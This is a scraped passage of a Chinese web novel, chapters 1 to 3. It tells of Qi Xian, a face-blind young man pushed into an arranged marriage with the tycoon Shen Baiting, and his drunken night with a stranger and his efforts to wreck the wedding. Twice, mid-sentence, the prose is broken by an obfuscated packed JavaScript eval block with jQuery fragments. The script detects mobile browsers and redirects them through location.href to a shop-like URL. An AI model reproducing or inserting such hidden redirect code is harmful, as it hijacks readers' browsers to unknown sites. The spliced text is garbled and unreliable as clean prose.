《脸盲小绿茶守寡被盯上了!》
1. 第 1 章
【不会吧,你真的要和沈柏霆结婚?!谁不知道他有个惦记了十几年白月光,真结婚了指定要守活寡,或者被当成替身呢!你弟也太恶心了,非得把你推出去,摆明了欺负人啊!】
祁闲握着酒杯,嘲弄地扯了扯唇角。
是啊,就是欺负他。
几个小时前,他得知了自己要和沈柏霆联姻的噩耗。
沈柏霆,当之无愧的商业霸主,旗下集团的纳税额养活了半个燕市,年纪轻轻就成为各圈层争相讨好的大人物。
和沈柏霆联姻的好事,原本轮不到祁闲这个亲爹忽视后娘嫌弃,脑子还不好使的废物大少爷。
奈何他被寄予众望的弟弟祁珩,嫌弃沈柏霆有惦念多年的白月光,更嫌弃沈柏霆和他一样带把,死活都不同意,哭爹喊娘地闹了好几天。
可如此大好的机会,祁家怎么可能放弃?他这个吃了多年白饭的大儿子总算是有点用了。
面对好友白遥义愤填膺的消息轰炸,祁闲只能自我安慰。
【我又能有什么办法呢?往好里想想,能借这个机会从祁家搬走,再怎么也不会比现在更差了。】
白遥片刻后才回复:
【那你就认命了?一辈子和沈柏霆捆在一起?】
祁闲将杯中白兰地一饮而尽,辛辣入喉,烧进胃里,呛得他剧烈咳嗽,眼角晕出一抹水润的薄红,瞳眸似蒙着层雾。
他当然不想认命。
得做些什么,才能搅黄这场联姻呢?
祁闲环视一周,无论男女,所有人的面孔都是一片模糊。他能够分辨的只有发型、身材和配饰。
喝了酒之后,脸盲更严重了啊。
浑身都在发烫,动感的鼓点轰得脑瓜子嗡嗡的,祁闲撑着桌子起身,缓了片刻,走向卫生间。
他尽可能保持步伐的稳定,险之又险地擦过许多肩膀,但还是不幸在转角处撞到了人。
一头扎进温暖怀抱之时,祁闲甚至都没能反应过来。
酒精麻痹了他的头脑和神经,直到被对方礼貌却坚定地推开,他才后知后觉地意识到——哦,撞到人了。
他努力眨眨眼,第一眼看到对方胸口处的珍珠胸针,银枝如同翻涌的海浪,承托着细碎的泡沫,在铅灰色的浓云下卷走欢声笑语和……
头好晕。
祁闲抬手扶住额角,太阳穴突突直跳。他摇了摇头,正打算低声说句对不起,却听到上方响起男人低沉的嗓音:
“还好吗?”
“嗯?”祁闲含糊发出声疑惑的鼻音,抬起头的同时,一阵晕眩袭来,让他恍惚地踉跄两下。
“小心。”男人伸出手,越过他肩膀撑在墙上,用胳膊和身体帮祁闲稳定身形。
祁闲勉强站稳,被酒精荼毒的嗅觉似乎捕捉到淡淡的海盐味道。是对方身上散发出来的,好闻。
酒壮怂人胆,祁闲突然灵光一现。
他马上就要替祁珩和沈柏霆结婚了,如果沈柏霆知道联姻对象在酒吧里肆意寻欢作乐,给他戴青青草原帽,那祁家……会遭受什么样的重创呢?
真是天才般的想法!
虽然认不清脸,但有着这种声音和身材的男人,应该不会差到哪里去。
不要怂,就是干!
“我、我是来搞艳.遇的。”祁闲心一横,抬起双臂搭在男人肩膀,勾住他脖颈。
祁闲这辈子头一回从事勾引行当,业务相当不熟练,全凭想象。
先尽可能地贴近对方,指尖轻碰敏感的耳稍,提膝缓缓磨蹭对方双腿……
少年抿了唇,专注于每个要做的小动作,一举一动都写满了故意而为的笨拙和生疏。
呼吸交错,暧昧扫过微抿的唇,祁闲抬起头凝视男人眼眸,他唯一能感觉到的就是对方瞳眸很深,如同冬天暴雪时的海底,冷到刺骨。
可偏偏怀里却是温暖的。
……他好像生气了?
直觉告诉祁闲,对方被他的唐突惹恼了。
祁闲混乱的头脑清醒了片刻。
——他到底在干什么啊,不想联姻也没必要把自己搭进去吧!完全可以用其他办法惹怒沈柏霆,让他迁怒祁家的!
“对不起对不起,我喝多了,刚才那些您就当啥也没听——”祁闲猛的向后弹跳着撤退,礼貌滑跪。
却听得男人低低地笑了一声。
“好啊。”
祁闲:“啊?”
他愣了两秒,才意识到对方是在回应自己的那句“艳遇邀请”。
好什么好啊!一点都不好!
祁闲大感不妙,扭头就跑。
但他才刚迈出去半步,就被抓住了手腕,下一秒,整个人被推到墙上。
祁闲惊慌抬头,鼻尖差点蹭到男人微微滑动的喉结。
救命!
他刚想要大喊,对方便俯在他耳边,随着低沉短促的话音一起袭来的,还有微热气流,轻骚耳尖。
“别动。”
祁闲浑身僵住了。
男人稍稍偏了偏脸,祁闲顺着方向看去,只见不远处有个身量不高的青年,正紧盯着这边的情况。
“从你坐着喝酒的时候那个人就在盯着你了。”
“是、是吗?”
“我帮你搞定他。”男人后退一半步,留给祁闲足够顺畅呼吸的空间,手臂虚虚揽在祁闲后背。
“谢谢。”祁闲松了口气,再次悄悄用余光瞥了青年一眼,跟着男人的步伐,赶不迭地溜了。
所以,自己算是被救了吗?
祁闲紧张的心情稍稍放松下来,酒精就再一次攻占了大脑。
咔哒。
等到他迟钝地反应过来,这一声是包间门关上的响动时,已经太晚了。
只是被轻轻一推,发软的双腿就撑不住身体,祁闲直接坐在了床上,还在柔软的床垫上弹了两下。
男人单手扯开领带,脱掉西装外套,胸膛在白衬衣下若隐若现,肌肉线条流畅诱人,身材果然一顶一的好。
“等等等等等!”
祁闲赶忙伸手示意Stop:“我单纯喝多了,没想做别的的。”
男人笑了下:“我也只是单纯脱个衣服,有点热。”
祁闲一愣:“……哦。”
他拉过椅子坐在床边,和祁闲保持着勉强算是安全的距离,紧盯着少年醉酒泛红的面颊和迷蒙的双眼。
“我叫宁海尘,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249106|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你呢?”
“祁珩。”祁闲顺嘴把便宜弟弟的名说了。
出门在外要保护好自己,不能随便把名字告诉陌生人。
“祁珩。”宁海尘低低重复,不知想到什么,轻笑了一声,“一个人喝成这样,是遇见什么麻烦了吗?”
宁海尘姿态很放松,语气像是在和新认识的朋友聊天,流露着恰到好处的关切。
祁闲本就醉着,吐槽欲一下子就被引爆了。
在祁家的高压管控下,他朋友挺少,也不是那种喜欢向别人传播负能量的性格,遇见烦心事一般都只能自己消化掉。
而如今有个人自愿当树洞,想要倾诉的冲动瞬间上头。
“别提了,今天家里人突然通知我去结婚,那个人原本是要和我弟结婚的,结果我弟不愿意,非得推到我头上。”
祁闲隐藏了关于他和沈柏霆身份背景的一些信息,把整件事情竹筒倒豆子似的倾诉出来。
“我日子好端端过着,结果明天就要结婚,还是和一个压根就没见过的陌生人,这本来就够离谱了,更离谱的是那个人竟然!还!同意更换结婚对象!他到底怎么想的啊!”
祁闲越说越气,他沉浸在自己的世界里,没注意到宁海尘微妙的沉默。
“而且重点是!那个人他还有一个白月光,惦记好多年的那种,现在一声不吭的就突然和我结婚,把我当什么呢?接下来该不会还有白月光回归,我变成他们俩play一环被捐肾抽血的戏码吧,那我也太惨了!总不能仗着我脑子不好使,就随便欺负我吧!傻子也是有人权的,况且我还没到真傻那种地步!”
宁海尘:“……”
祁闲:“…………?”
祁闲警惕起来:“你为什么不吭声?难道你认识沈……我那个未来的便宜老公?”
“当然不认识。”宁海尘终于又说话了,“只是觉得事情确实有点惊人。”
祁闲松了口气。
也是,偌大的世界,总不可能巧成这样。
接下来,祁闲仗着话传不到沈柏霆耳朵里,肆无忌惮地吐槽了近万字的小作文,说到最后,都有点渴了。
他咂咂嘴,用几句话做总结。
“你说,我惨不惨?”
“惨。”
“你说,他是不是坏?”
“……是。”
“你说,我该不该报复一下他?”
“…………该。”
祁闲心满意足地点头。
“我本来想要给他戴个绿帽子的,现在想想,何必为了一个坏蛋把自己搭进去呢?”
祁闲努力地用醉到不太灵光的脑子思考着还有没有其他办法,却听到宁海尘颇为诚恳的发言。
“如果你需要,我可以配合你。”
祁闲:“啊?”
“只是弄出来一些会让他误会的痕迹,凭什么只能他恶心你,咱也来恶心他。”
祁闲眉头紧皱。
好像……确实是个好主意。
祁闲用力拍了下手:“有道理!”
他大刺刺地扯开自己领口,指着细腻白皙的锁骨和颈侧,大方道:“留得明显点,能把人直接气死的程度最好。”
2. 第 2 章
宁海尘轻笑一声。
他站起身来到床边,只是一个俯身,强大的压迫感就让祁闲不由自主地屏住呼吸。
祁闲下意识地向后仰,本能地拉开距离,直到后背接触到柔软的床单,整个人都躺在了床上。
但靠近还在继续,反而因为祁闲的仰倒,变得更加危险。
对方倾身覆上来之时,祁闲紧张地抬起赤着的脚,抵在宁海尘胸口上。
甚至都能感受到一下一下沉稳的心跳。
……是要这样吗?
祁闲鼻尖和后背开始冒汗,心跳远比对方更快。他总感觉哪儿哪儿都不对劲,但宁海尘确实是在帮他的忙。
“放松,别紧张。”
宁海尘抬手抓住祁闲脚踝,将少年纤细的小腿抬起,闭上双眼,低头落下一吻。
“唔……”祁闲呼吸停滞,咬着唇才忍住发出其它声音。
薄唇蹭过肌肤,顺着线条一路向上,不断逼近膝盖上方的危险地带,轻柔绵长的触感带起电流让心跳彻底乱了拍子。
第一次被如此强烈的渴念吞没。
他双手紧紧抓着床单,以免做出更多下意识的反抗行为,微微仰起头,将颈子暴露给对方。
微凉的唇很快落下,摩挲着敏感颈侧。
“等下,等一下……”祁闲终究还是没忍住,想要叫停。
太奇怪了,实在是太奇怪了,和他想象中的完全不一样。
难道不该像啃麻辣鸭脖那样咬出一些痕迹,把他咬的嗷嗷叫吗?
这种电流般的酥麻是怎么回事?
但他的请求只得到了更加身体力行的回应,宁海尘的吻顺着颈侧向上,双唇含住他柔软的耳垂,有意克制却仍旧急促的温热呼吸钻入耳孔,又绵又痒,一下子就让祁闲浑身都软了。
浑身发烫,脑袋迷迷糊糊的。
跑吗?跑吧。但宁海尘不是在好心帮他吗?他应该老实接受才对,不然明天拿什么让沈柏霆生气呢?
可是真好奇怪啊。
祁闲无助地抓住宁海尘手腕,对方掌心正扣在他腰侧,温度透过薄薄的衣料,似乎要把那一小块皮肤灼烧。
“够、够了……差不多够了吧。”
祁闲用手肘抵住宁海尘胸口,想要制造出一些空间,好从他怀里滚出去,可发软的双臂压根使不上力道,只能软绵绵地蹭来蹭去。
宁海尘倒是停下了。
他凝视着祁闲湿润又迷蒙的双眼,面容仍旧模糊一片,眉头似是蹙着:“你真不记得我了?”
祁闲努力把眼睁得滚圆,从鼻腔中挤出一声疑惑的回应:“……嗯?”
什么意思?他俩之前见过?
“没什么。”宁海尘伸出手,拇指轻按祁闲唇角,指腹粗粝的茧擦过,暧昧,却又带着若有若无的愠怒,“只是脖子上,可能还不够。”
“……所以?”
“所以,全都交给我吧。”
.
宿醉的后遗症很严重,头疼得像是要爆炸。
祁闲哼哼着揉按太阳穴,艰难翻了个身,趴在床边,伸手在扔了满地的衣服里挑选出一件。
衣料本来柔软舒适,可此刻摩擦着肌肤,却让他忍不住缩起肩膀。
一些之前几乎从来没有存在感的地方,竟然能带给他那么多颤栗。
祁闲哆哆嗦嗦,扣子系到一半,才发现袖长和尺码都不合适。
这压根就不是他的衣服。
好吧,他的脸盲因为宿醉,更严重了啊。
物体识别障碍是脸盲的典型表现之一,病人无法识别自己的东西。就像现在,他穿成了宁海尘的衣服。
祁闲回头看了眼身边还在沉睡的男人,宁海尘面部轮廓相当英朗,亲起来……不是,摸起来感觉鼻梁也很高挺。
就是认不出究竟长啥样。
祁闲把所有衣服都捞上来,试出来哪件属于自己,穿上鞋要溜,突然脑袋一晕,差点倒地。
还是好晕,以后可千万不能喝这么多了。
祁闲扶着墙往外走,路过卫生间,瞅了眼镜子,被脖颈上的点点暧昧痕迹吓了一大跳。
他抬起手,在即将碰到时犹豫了一下,但指尖仍轻触了上去。
身体还记得痕迹被制造时的颤抖。
祁闲心虚地移开眼。
应该足够给沈柏霆一个惊喜了……吧?
门口,银枝珍珠胸针和西装外套一起掉在地上。
祁闲俯身捡起,摩挲几下圆润的珍珠,把它放回床头柜上。
这宁海尘来酒吧还胸针袖口领带夹一应俱全,西装革履一本正经,真够奇怪的。
不过,也和他无关了。
祁闲下到一楼酒吧大厅准备付账,酒保礼貌地说:“先生,已经有人付过了。”
“付过了?”祁闲微怔。
隐约忆起昨晚宁海尘随手摘掉的领带夹是爱马仕的,扔在床头的表是百达翡丽的,被他扯下的袖扣是嵌着金丝雀钻的……他全身上下的行头,价格加起来吓死人。
唔,一个热心提醒他被不怀好意之人盯上,献身帮他对付结婚对象,还包揽全部费用的有钱家伙。
祁闲说不上哪儿不对劲,难道宁海尘图他什么?可他也没遭受任何损失啊。
祁闲困惑地摸摸鼻子,得出的唯一结论——他是遇见好心人了。
果然,人不可能一直倒霉。
祁闲心情好了不少,他打车回到家,家里没人。
他父亲祁志勇今天有场重要竞标,肯定一大早就去准备,继母宋莹春要参加阔太太们的活动,至于祁珩,可能还在哪个女朋友的床上吧。
他们都不在,祁闲倒也松了口气。
他直奔浴室,盯着镜子里的自己,脱掉衣服,点点痕迹再度映入眼帘,可以确定肯定以及一定,他和沈柏霆结婚的当天,也绝对退不去。
祁闲摸着脖颈,试图要盖住另外一人留下的,还未被他忘记触感。
洗完澡,头还在痛,疤痕处更是突突直跳。祁闲呲牙咧嘴地找出来布洛芬,又想起来喝了酒不能吃药,开始后悔。
哎,干嘛那么冲动地去酒吧买醉呢?
他只能躺下,赶紧再睡一觉缓缓。
梦境格外混沌,那些因为酒精而有些模糊的记忆,又以另一种方式再度降临。
他沉沦在属于另一人的温度中,用唇和指尖描摹对方眉眼。
可无论再怎么睁大双眼,都没办法看清那仿佛笼罩在浓雾后的面容。
明明只是一场意外,他却动了想要知晓对方样貌的奇怪心思。
砰砰砰!
不知过了多久,祁闲被急促的敲门声吵醒。
比起敲门,说是砸门可能更为贴切。
荒唐的梦被惊扰,指缝间的砂砾般很快消失得无影无踪。
祁闲把被子蒙在头上。
敲门声愈演愈烈。
他把枕头也蒙在头上,装听不见。
可他终究不是聋了,演变为砸门的巨响和震动仍被清晰感知。
祁闲满肚子气终于憋不住,他扔了枕头,掀开被子赤脚下床,猛地拉开房门:
“有事?”
他同父异母的弟弟,一切的罪魁祸首祁珩双手抱胸,笑容得意:
“老爸今儿竞标见到沈柏霆,说了让你去联姻的事儿,你猜怎么着?沈柏霆他同意了,明天你们就去领证。”
“……”祁闲无语,“你就是来和我说这些废话的?”
已经确定了的事儿,再耀武扬威专门过来说一遍,怎么像是撒完尿还得回头闻两下的狗呢?
祁珩啧了一声:“怎么能叫废话呢,这可是好消息,感激我吧祁闲,也算是帮你这傻子还找了个不错的归宿,是吧?”
傻子,不错的归宿。
祁闲突然笑了。
他笑得天真烂漫,不掺杂任何坏水的成分,仿佛下一秒就要真情实感握着祁珩的手感谢他真是超级无敌大好人。
祁珩一愣,下意识把双手背在身后,肉眼可见地紧绷起来:“你笑什么?”
“我笑沈柏霆可怜。”祁闲摇头叹息,“人好端端一个商业巨擘,就被咱家塞了我这个傻子进门。”
他指了指自己的脑袋:“你说,我都这儿不正常了,干出点类似于结婚之前不认路跑丢了放他鸽子,或者进家后毁了他的重要文件的事儿,都很正常吧?”
祁珩一下子慌了:“我警告你,别想着乱来!”
“又或者……”祁闲摸着下巴琢磨,突然眼中凶光毕露,“傻子被刺激行为不受控制,发疯把所有人都打了一顿!”
没等祁珩反应过来,祁闲就猛地伸出手,抓住了他头发!
祁珩的惨叫声中,祁闲狠狠揪着他发根,横起一脚踹在他膝弯。
“弟!你怎么突然给我跪下了?这多不好啊,快起来快起来!”
祁闲惊讶地大呼小叫着,顺便把全身力道都压下去,祁珩脊椎不堪重负,惨叫着俯身,额头和地板撞击发出砰的一声闷响。
“哎呦喂磕什么头啊!哥可受不起,哥只是脑子不好使的傻子,万一再把你这个好用的脑袋磕坏了,哥岂不就变成全家的罪人了吗?”
祁珩挣扎着想要起来,拼命抓住祁闲脚踝,却无济于事。
“妈的放手!放开我!”
“真的不用,真不用!弟,你别磕了,哥害怕,哥害怕啊!”
祁珩这种娇生惯养大的贵少爷,力气可比不上从小在乡下摸爬滚打的祁闲。
祁闲趁着这股劲儿,一连压着祁珩磕了好几个头,才终于松开手。
地板上有一小片血迹,指缝里全都是祁珩被揪掉的头发。祁闲嫌弃地甩了甩手,趁着祁珩头晕目眩还没缓过进来,哐的摔上门,声情并茂地大喊:
“弟!你赶快去处理下头上的伤吧,哥看着心疼!”
门外爆发出一阵脏到不堪入耳的咒骂。
祁闲投了投耳朵,重新美滋滋地躺回被窝。
明天,他就能从祁家搬出去了。
至于行李,祁闲也不急着收拾,没多少要带的,其中最珍贵的,只有他的众多拍摄设备。
祁闲少年时头部意外遭受重创,昏迷了整整七个月,醒来后患上严重的脸盲症,反应和思维模块也都收到了一些影响。
所以祁珩才张口闭口叫他傻子。
在祁闲眼中,所有人脸上都蒙着一层雾,无论他再怎么靠近,都很难看清。
分不清楚脸,摄影时自然就更注重整体的构图和光影,他出的很多片都因为超绝氛围感爆火出圈,约拍档期都需要抢。
对了,约拍。
祁闲翻了翻备忘录,明天早上十点,有一场拍摄。
祁闲找到顾客“海哥”的微信,发送消息。
半日闲:【抱歉,明天我要去结个婚,咱们的约拍改成下周三早上十一点行吗?这单给您打八折。】
“海哥”很快回复。
【当然可以,闲老师竟然要结婚了啊。新婚快乐。】
祁闲扯了下唇角。
新婚快乐吗。
希望如此吧。
他抬手碰了碰颈侧的暧昧痕迹。
就是不知道沈柏霆会不会喜欢他送上的惊喜。
兴许是老天爷都不看好这场联姻,半夜悄然下了雨,一直到翌日清早祁闲起床,淅淅沥沥的雨仍在下着。
铅灰色的浓云低低地压在城市的天际线处,祁闲推开窗户深吸口气,微凉的水汽卷着秋初的寥落沁入肺腑,又激灵地钻进脑仁里,将昏昏欲睡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249107|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的困倦一扫而空。
祁闲穿好衣服,特地对着镜子整理衣领。
镜中的少年唇角满含笑意,狡黠的、坏心眼的、饱含期待的,带着准备时刻跃入雷区把所有人炸飞的愉悦。
傻子怎么了?傻子也能把世界搅和天翻地覆。
祁闲拎着行李箱下楼。
家里的其他人已经在客厅等着了,祁珩额头上贴着纱布,正满脸怨气地坐在沙发上,哪里还有昨天专程来挑衅的神气?
看见祁闲,宋莹春脸上的嫌恶不加掩饰:“把小珩打成这样,你还有脸下来!”
“我没有,是弟弟自己摔得……”
祁闲不动声色地压低舌根,反胃感立刻引发生理性地干呕,就这样制造出一汪眼泪。
他满脸无辜,委屈地红了眼眶,只是轻轻一眨,泪水就浸湿了睫毛:
“爸,你一直都向着弟弟,我都知道的。我、我马上就要从家里搬走了,就这一次,相信我这一次好不好?”
原本打算兴师问罪的祁志勇迟疑了。
面对祁闲的茶言茶语,祁珩气得舌头都捋不直了:“爸你别听他胡说!我真的是被打的啊!”
祁闲轻叹一声,低下头,摇摇欲坠的泪珠顺着面颊滚落:“如果爸非要相信弟弟的话,我也接受……弟,你打我吧,只要能让你消气。”
说着,他贱兮兮地把脸凑上前。
“我*&%@%#——”祁珩脱口而出一连串的脏话,暴跳如雷地骂挥出一拳,直捣朝祁闲门面!
“够了!”
拳头即将击中祁闲鼻子的前一瞬,祁志勇拍着桌子,爆喝一声,“给我住手!”
祁珩难以置信地瞪大眼睛:“爸?!”
“他马上就要去和沈柏霆领证了,要是脸上留下什么痕迹,沈柏霆饶不了祁家。”
祁珩快要咬碎一嘴牙,但也只能放下拳头。
祁志勇朝祁闲摆了摆手:“去吧,替我向沈总问好。”
“好的。”祁闲乖巧回答,转过身去,在祁志勇看不见的角度,飞快朝祁珩吐出舌头。
略略略——
打我啊有本事你打我啊,欸?打不着!
祁珩气得差点没一口气背过去。
宋莹春更是黑着一张脸,她本想借祁志勇在,替自己儿子出口恶气,哪想到还反过来吃了哑巴亏。
祁闲拉着行李箱走出家门。
司机正在院外候着,祁闲把行李塞进后备箱,自己坐进卡宴后排,低头掏着手机,对司机道:“不用等了,他们三个不去。”
年纪最小的妹妹祁玥还在学校,周末才能回来。
祁闲和祁玥关系还算不错,随手给她发了条消息,说自己搬出去住了。
祁闲放下手机,望向窗外雨幕朦胧的街道,在燕市那么多年,他还是第一次前往民政局。
只是这段路竟然出乎意料得短。祁闲还没在脑补完沈柏霆见到他之后的情景演示,司机就把车停下了。
“大少爷,到了。”
祁闲只能匆匆结束幻想,撑起伞下车。
就算这些年同性婚姻开放了,结婚率仍没能得到拯救,民政局冷清得门可罗雀。
祁闲一眼就注意到了那道不远处的身影。
男人一袭黑色长风衣,撑着把老式黑伞,沉默地站在雨幕中。
他另一只手插在口袋里,姿态挺拔却又带着难言的从容,堪称完美地将这套非常挑身材的衣服撑起,身后一层层的台阶和高大的建筑轮廓分割了空间,孤寂而冷漠,像极了老电影里才会出现的场面。
祁闲看不清对方的脸,仿佛五官彻底在雨幕中朦胧,但也正因如此,视线的焦点并未被面容夺走。所有的一切恰到好处,完美的构图,完美的色调,完美的光影。
一瞬间让祁闲涌上想要举起相机,永远记录下来这幅画面的强烈冲动。
只是他还没来得及做些什么,对方就主动朝他迈步而来。
祁闲眼睁睁看着男人在他面前三米处站定。
“走吧。”男人低声道。
和想象中如出一辙的嗓音,低沉醇厚,偏偏又似曾相识。
他在哪儿听到过吗?
祁闲蹙眉,问:“你认识我?”
男人低笑一声,伸出手来:“沈柏霆。”
这三个字让祁闲浑身一僵。
原来他就是今天的主角,绿帽侠!
但这位传闻中雷厉风行,手段骇人的大股东,给他的感觉……好像不太一样?
祁闲迅速调整好心情,伸出手,和沈柏霆碰了一下:“您好绿……哦不,沈总,我是祁闲。”
把手收回时,祁闲状似无意地抬起,将衣领往下拉了拉。
来之前他对着镜子演练过,保证脖子上的暧昧痕迹能完全显露出来,只要对方不是瞎子,就肯定能够看得清楚。
然后他就眼睁睁看着沈柏霆转过身,朝着民政局大门走去。
祁闲:?
喂!你快看我啊!
祁闲在原地愣了半秒,赶紧追上去,他和沈柏霆并肩而行走上台阶,主动道:“那个,我衣领是不是折了,能帮我整理一下吗?”
沈柏霆停下了脚步。
祁闲再度屏住呼吸,闭上眼睛,做好了对方大发雷霆,或者干脆揪住他衣领质问,或者暴怒地把他揍下楼梯的准备——
沈柏霆的手指擦过他颈侧,方才握着伞柄的指尖微凉,带给祁闲的触感无比鲜明,轨迹绝对经过那枚最明显的吻痕。
沈柏霆:“好了。”
祁闲:??
祁闲错愕地睁开双眼。
好?好什么?
哥,生气啊!愤怒啊!质疑啊!
你是眼瞎还是太纯还是压根就有绿帽癖啊!
3. 第 3 章
祁闲满心震惊,呆立在原地。
沈柏霆:“走吧。”
祁闲行尸走肉一样跟在沈柏霆身后,努力想要脑袋灵光点,试图考虑出另一种能够阻止结婚的办法。
怎么办啊也没人告诉他沈柏霆其实有绿帽癖啊!!!
来人啊救一救啊!
沈柏霆侧头看祁闲,少年正眉头紧锁地盯着前方,认真思索着,脚下则乖巧的亦步亦趋。
他似乎被什么烧脑的问题缠住了,像是被困在毛线球里的猫,逐渐走向抓狂,一直到两人并排坐在凳子上,都还在沉思。
“来,靠得近点,别皱眉,笑一笑啊。”
指令传来,祁闲下意识照做,舒展眉头,露出个公式化的笑容。
身为摄像师他对快门按动的声响很敏感,等到他听见这一声咔嚓,已经迟了。
贴着结婚照,盖上红色钢印的结婚证被塞进了祁闲手中。
祁闲:???
不是,等——
工作人员笑意盈盈:“恭喜,从今天起,二位就是合法伴侣了。”
“谢谢。”沈柏霆打开结婚证看了眼,拉开风衣前襟,把它放进内兜,对还在发愣的祁闲道,“走吧,咱们回家。”
“等等等等——”
祁闲赶忙摆手,他低头确认手里的玩意正是新鲜出炉的结婚证,无助地看了眼沈柏霆,又扭头望向旁边办离婚的房间。
结婚流程也太快了吧!这种不需要任何门槛就能拿到的证,能是什么好东西啊!
一眨眼的功夫,他就踏入婚姻的坟墓了?
不行不行,趁着人还在民政局,土没盖上,他得赶紧想办法从坟里爬出来!
既然沈柏霆不在乎他出轨,那就只能再上点强度了!
祁闲深吸口气,诚恳道:“其实还有一件非常重要的事,祁志勇应该没告诉你吧。”
沈柏霆:“什么?”
祁闲指了指自己的脑袋:“我有病,大病。”
生怕沈柏霆听不懂,祁闲继续解释道:“其实我是个穿越者,但又和你理解中的穿越者不一样,是一群人穿越到了我身上。”
祁闲伸出右手:“看到了没,这是我的右手,但其实,他是一个叫做马大俊的男人,这是我的左手,她是个叫马小芳的女孩。还有我的嘴,叫马中强,是这我们的领导。没错!我身体的每个部位,都存在着一个穿越者!我们本来是一家公司的同事,可是有一天,公司爆炸了,大家就全都穿越到了这个祁闲的人身上!”
沈柏霆沉默一瞬:“你还不如说你们是马家村的村民穿越过来的。”
祁闲一拍大腿:“对对,你真聪明!我们就是马家村的,这不中强在公司里当领导吗,就把大俊和小芳塞进来当关系户了。”
“我的身体住着一群人,每个人都有他们各自的想法,所以经常会做出一些完全无法控制的行为。”
祁闲说着,左脚开始朝离婚处迈,右脚想跟着沈柏霆走,脑袋扬起去看外面的鸟,屁股向下试图找到一张能落座的椅子,左手要去提右脚的鞋,右手从后背绕过想从包里拿水。
他成功地把自己拧成了麻花,以超乎想象的扭曲姿势摔倒在地。
毫无疑问成为了民政局里最闪亮的仔。
够沙雕了吧!够丢人了吧!够无厘头了吧!
沈柏霆肯定觉得脸都丢光了,愤怒至极,面色黑如锅底,就要把他拽进离婚处,结束两人刚维持不到三分钟的婚姻关系,再狠狠把他扔在民政局!
第二天就会传出沈柏霆闪婚闪离的新闻,成为爆炸性的头条,沈柏霆对胆敢隐瞒他的祁家施以雷霆之怒,让祁家从此在燕市除名!
祁闲美滋滋地想着,刚要抬头看沈柏霆的脸色,就双脚腾空,被人打横抱了起来。
祁闲:?!?!?
他震惊抬头,确认头顶那张模糊不清的脸确实属于沈柏霆。
祁闲:…………
等等,剧本不是这样的啊!
你怎么不按套路出牌啊!
围观众人们发出善意笑声,祁闲赶紧继续贯彻他身体不同部位各被穿越的设定,用超脱常理的方式蠕动,试图从沈柏霆怀里挣扎出来。
“别动。”
回应他的是一声低沉话语和腰间更加收紧的手,以至于祁闲都能清晰感知到沈柏霆掌心的温度。
很热。
祁闲直挺挺地僵住了。
这一刻,什么马小芳马大俊马中强全都化作了浮云。
不过祁闲倒是真的希望他们存在,如此一来,穿越到他屁股上的那位仁兄就能哀嚎着,让穿越成嘴的马中强大声呼喊——
你的那只手能不能老实放在腰间,别摸我屁股啊!!!
“那个,沈柏霆,你能不能——”祁闲鼓起勇气小声道,想让他撒手。
沈柏霆:“什么?”
男人不含感情色彩的回应让祁闲提心吊胆,几个意思啊!是没听清,还是对自己的称呼不满意?
祁闲只能咬着牙试探喊道:“……老公?”
沈柏霆脚步似意外地顿了下,随后继续向门外走:“嗯。”
与此同时,祁志勇把车停在民政局外。
副驾驶的祁珩不耐烦地抬眼,周身怨气浓重的足以召唤一足球场的邪剑仙。
他根本就不想来,昨天被祁闲磕伤的脑袋还疼的要命,可祁闲对他说的那些话,到底让人心怀忌惮。
万一祁闲真钻到空子跑了,放鸽子惹到沈柏霆,祁家可没好果子吃。
祁志勇打开驾驶座的车窗,点燃一根软中华:“祁闲也就是嘴上说说,他肯定没那个胆子。”
宋莹春瞪大双眼:“他都把小珩打成这样了!还叫没胆子?”
祁珩阴鸷地紧盯民政局大门,看到陈放的那刻,立刻挺起身子:“爸,你看,那是不是沈总的特助?”
祁志勇一瞄:“对,是陈放。”
祁珩顷刻来了精神。
祁闲和沈柏霆马上就要出来了吧,沈柏霆有惦记多年的白月光,更是要和一个素未谋面的人结婚,对待祁闲的态度肯定极为恶劣。
他都等不及要看沈柏霆冷脸和祁闲垂头丧气的样子了!
下一秒,沈柏霆果真走出民政局大门,只是怀里抱着个人。
祁珩揉了揉眼,还以为自己看错了。
不,没错,刚才还朝他挑衅的祁闲……竟然窝在沈柏霆怀里,一副任由宰割的乖顺模样!
祁珩眼珠子差点瞪出来。
怎么可能!!!
车内一片寂静。
直到沈柏霆把祁闲抱进车后排,S680启动离开,祁珩才唇角抽了下,笃定道:
“那肯定不是沈柏霆吧,祁闲跟其他男人跑了?”
祁闲现在确实想跑。
所有事情都和他想象的完全不一样啊!
面对他脖子上的绿帽铁证,沈柏霆选择了无视。面对他突然发疯耍癫,沈柏霆贴心配合。面对他趟在地上耍赖,沈柏霆竟然直接抱他走。
总之就是非常不对劲。
祁闲特想开口认真地给沈柏霆说一句:大哥你人设崩了啊!其它人知道你其实是这样的吗!
腰间还残留着沈柏霆掌心的温度,祁闲不自在地用手背蹭了蹭,偷偷去瞄旁边的男人,希望他别注意到。
谁知一下子就对上了沈柏霆的视线。
祁闲:“………………”
祁闲迅速目视前方,僵硬地放下手,当做无事发生。
沈柏霆看起来对自己很感兴趣的样子。
可他不是有一直惦念的白月光吗?痴情人设不要了?
祁闲百思不得其解,但有一点他很清楚,事出反常必有妖。
难道沈柏霆另有所图?
